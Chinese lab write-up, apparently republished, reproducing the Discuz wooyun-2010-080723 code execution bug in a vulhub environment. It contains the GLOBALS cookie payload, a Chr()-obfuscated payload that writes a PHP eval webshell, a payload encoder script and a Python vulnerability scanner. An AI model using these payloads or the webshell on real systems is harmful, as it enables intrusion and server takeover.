【vulhub】Discuz-命令执行 wooyun-2010-080723

news/2024/9/22 21:38:58

【vulhub】Discuz-命令执行 wooyun-2010-080723

docker-compose up-d​启动!

Clip_2024-09-21_14-54-47

wooyun-2010-080723 命令执行

0x01 搭建环境

访问192.168.132.138:8080/install​,安装数据库。数据库服务器填写db(必须db,不然安装失败),数据库名为discuz,数据库账号密码均为root,管理员密码任意。填写联系方式页面直接点击跳过本步后跳转到首页

Clip_2024-09-21_15-24-43

0x02 复现过程

官方poc是进入一个帖子中直接抓包,将cookie内容替换成Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();​,发包后就能进入phpinfo页面完成命令执行

Clip_2024-09-21_15-51-10

我们可以尝试继续构造其他函数进行其他的命令执行操作,比如可以上传一个shell
将cookie改为

Cookie:GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui;GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(120).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(112).Chr(119).Chr(100).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59));

Clip_2024-09-21_16-00-48

http://192.168.132.138:8080/x.php连接shell

Clip_2024-09-21_16-01-57

成功连接,shell写入成功

Clip_2024-09-21_16-02-19

上面的ascii码是转换回来是

fputs(fopen('x.php','w'),'<?php @eval($_POST[pwd])?>');

下面是一个ascii和文字相互转换的python脚本

import re
# ASCII = ord(Word)
# Word = chr(ASCII)# ASCII -> Word
def ASCII2word(ASCIIs):for c in re.findall(r"(\d+)", ASCIIs):print(chr(int(c)),end="")# Word -> ASCII
def word2ASCII(words):ASCIIs = ""for word in words:ASCIIs += "Chr(" + str(ord(word)) + ")."print(ASCIIs)asciis = "Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(109).Chr(105).Chr(115).Chr(104).Chr(105).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(116).Chr(101).Chr(115).Chr(116).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59)"
ASCII2word(asciis)words = "fputs(fopen('x.php','w'),'<?php @eval($_POST[pwd])?>');"
word2ASCII(words)

0x03 总结

  1. 由于php5.3.x版本里php.ini的设置里request_order​默认值为GP,导致$_REQUEST​中不再包含$_COOKIE​,我们通过在Cookie中传入$GLOBALS​来覆盖全局变量,造成代码执行漏洞。
  2. PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞

0x04 检测POC

# coding:utf-8
# @File :discuz RCE poc.py
# @IDE :PyCharm
# @Author :打复活赛的牢泠
# @Blog :#import requests
import argparsedef argument():parser = argparse.ArgumentParser(description="usage:python3 demo.py -u [url]")parser.add_argument('-u', '--url', type=str, metavar='', required=True, help='Please input the vulnerable url')args = parser.parse_args()return argsdef poc():# 引入 argument() 函数args = argument()url = args.url# 设置 headersheaders = {'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ""Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0",'cookie': "GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();"}# 进行get请求res = requests.get(url, headers=headers, timeout=5)# 若get请求页面中存在PHP Version则存在漏洞if "PHP Version" not in res.text:print('[-] Not Vulnerable: ', url)else:print('[+]Vulnerable to Rce:', url)if __name__ == '__main__':poc()

检测成功会回显[+]Vulnerable to Rce 字样

Clip_2024-09-22_20-29-40

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/63492.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

2376.统计特殊整数

如果一个正整数每一个数位都是 互不相同 的,我们称它是 特殊整数 。 给你一个 正 整数 n ,请你返回区间 [1, n] 之间特殊整数的数目。 示例 1: 输入:n = 20 输出:19 解释:1 到 20 之间所有整数除了 11 以外都是特殊整数。所以总共有 19 个特殊整数。 示例 2: 输入:n = …

数业智能心大陆:职场倦怠的新解法

什么是职业倦怠? 在职场中,职业倦怠的表现形式丰富多样。从数业智能心大陆 AI 心理咨询平台的数据来看,职业倦怠呈现出多种状态。教师可能对教学不再满怀热情,精心备课也成为过去式;情绪上容易烦躁、易怒,在工作压力之下,常常因为一些小事就被激怒。比如在项目团队中,成…

2024“华为杯”数模研赛E数据提取代码

2024年数学建模研究生赛E题从视频中提取数据的代码。主要包括三个部分:车流量计算、各车道车流量计算和平均速度计算。主要讲述了代码的使用方法,包括需要修改的参数和文件路径,以及一些特殊情况的处理方法。同时还提供了参数估计和绘图的相关代码,以及如何根据不同视频视角…

用Eide下配合Cubemx配置stm32环境

PS:本篇为个人学习的记录,一是方便回忆,二是相同时方便给像我一样的小白一点建议。本文默认已安装好STM32Cubemx和VSCode,以及VsCode下的Eide Cubemx部分选择好需要使用的对应单片机创建工程。在Project Manager选项下 选择Toolchain/IDE下的makefile方式来创建工程。什么是…

USB2.0设备的休眠挂起及远程唤醒

USB可见设备状态,分为连接(Attached),上电(Powered),默认(Default),地址(Address),配置(Configured)和挂起(Suspended)6个状态。所谓可见,即USB系统和主机可见的状态,其他状态属于USB设备内部而不可见。其中有关电源的,大致可分下面三类:连接状态(Attached):设备连…

[CVPR2024]DeiT-LT Distillation Strikes Back for Vision Transformer Training on Long-Tailed Datasets

在长尾数据集上,本文引入强增强(文中也称为OOD)实现对DeiT的知识蒸馏的改进,实现尾部类分类性能的提升。 动机ViT相较于CNN缺少归纳偏置,如局部性(一个像素与周围的区域关系更紧密)、平移不变性(图像的主体在图像的任意位置都应该一样重要)。因此需要大型数据集进行预…

MobaXterm24.2 分析

MobaXterm 目录MobaXterm0、启动窗口 TForm11、TForm1_FormCreatedecrypt_9FDA481)xxBase64Decode_9FD80C2)DecryptBytes_9FD9DC2、许可结构1) Type2) version_info_3A83) user_limit4) Version5) unuse6)NoGames7)NoPlugins解析函数parse_9FEB5Cothersub_A03F80TFormAbout…